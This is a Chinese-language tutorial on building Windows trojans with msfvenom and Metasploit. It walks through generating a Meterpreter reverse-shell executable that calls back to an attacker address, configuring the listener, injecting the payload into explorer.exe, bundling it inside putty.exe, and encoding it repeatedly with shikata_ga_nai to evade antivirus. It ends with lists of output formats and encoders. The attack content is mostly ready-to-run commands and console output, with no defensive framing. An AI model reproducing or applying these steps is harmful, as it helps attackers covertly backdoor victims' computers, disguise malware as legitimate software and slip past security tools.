木马与免杀(1), msfvenom 工具, 木马生成, 编码免杀, 在线木马检测

Msfvenom是Metasploit框架中的一个强大工具，用于生成定制的恶意软件载荷，包括反向Shell、Meterpreter Shell、编码的Payload等[3]。它主要用来生成带后门的软件，是Msfpayload和Msfencode的组合，用于生成木马和软件捆绑后门[1][2][4]。在Kali Linux中有一个集成好的工具是msfvenom，主要用于生成后门和软件捆绑后门，其免杀效果还算不错[5]。

1. 生成木马:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.112.201 LPORT=5555 -f exe -o shell.exe

2. 监听木马

在攻击端使用监听模块:
use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

这里看到默认使用的是 generic/shell_reverse_tcp , 我们修改为自己的 windows/meterpreter/reverse_tcp

set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

查看payload选项:
show options

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

监听的配置需要与木马一致.
这里默认监听的是4444端口, 修改为自己的木马端口:
set lport 5555

lport => 5555

设置木马的 lhost:
set lhost 192.168.112.201

lhost => 192.168.112.201

开启监听:
run

[*] Started reverse TCP handler on 192.168.112.201:5555

到目标主机运行shell.exe木马后, 回到msf等待连接.

5. 进程注入

木马运行后注入到主机的explorer.exe进程中, 即使shell.exe进程结束也不影响木马工作.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.112.201 LPORT=5555 prependmigrateprocess=explorer.exe prpendmigrate=true -f exe -o shell2.exe

6. 程序捆绑

将木马与其他exe程序进行捆绑, 生成一个新的exe程序, 当程序运行的同时也执行木马.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.112.201 LPORT=5555 -a x86 --platform windows -x putty.exe -k -f exe -o shell3.exe

7. 编码免杀

使用 shikata_ga_nai 编码进行10次编码.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.112.201 LPORT=5555 -e x86/shikata_ga_nai -i 10 -f exe -o shell4.exe

8. 在线检测木马

https://www.virustotal.com
https://www.virscan.org/language/zh-cn

9. 查看支持的格式

msfvenom --list formats

Framework Executable Formats [--format <value>]
===============================================

    Name
    ----
    asp
    aspx
    aspx-exe
    axis2
    dll
    ducky-script-psh
    elf
    elf-so
    exe
    exe-only
    exe-service
    exe-small
    hta-psh
    jar
    jsp
    loop-vbs
    macho
    msi
    msi-nouac
    osx-app
    psh
    psh-cmd
    psh-net
    psh-reflection
    python-reflection
    vba
    vba-exe
    vba-psh
    vbs
    war

Framework Transform Formats [--format <value>]
==============================================

    Name
    ----
    base32
    base64
    bash
    c
    csharp
    dw
    dword
    go
    golang
    hex
    java
    js_be
    js_le
    masm
    nim
    nimlang
    num
    perl
    pl
    powershell
    ps1
    py
    python
    raw
    rb
    ruby
    rust
    rustlang
    sh
    vbapplication
    vbscript

10. 查看所有编码器

Framework Encoders [--encoder <value>]
======================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/eicar                 manual     The EICAR Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    ruby/base64                   great      Ruby Base64 Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x64/xor_context               normal     Hostname-based Context Keyed Payload Encoder
    x64/xor_dynamic               normal     Dynamic key XOR Encoder
    x64/zutto_dekiru              manual     Zutto Dekiru
    x86/add_sub                   manual     Add/Sub Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
    x86/bmp_polyglot              manual     BMP Polyglot
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/service                   manual     Register Service
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
    x86/xor_dynamic               normal     Dynamic key XOR Encoder
    x86/xor_poly                  normal     XOR POLY Encoder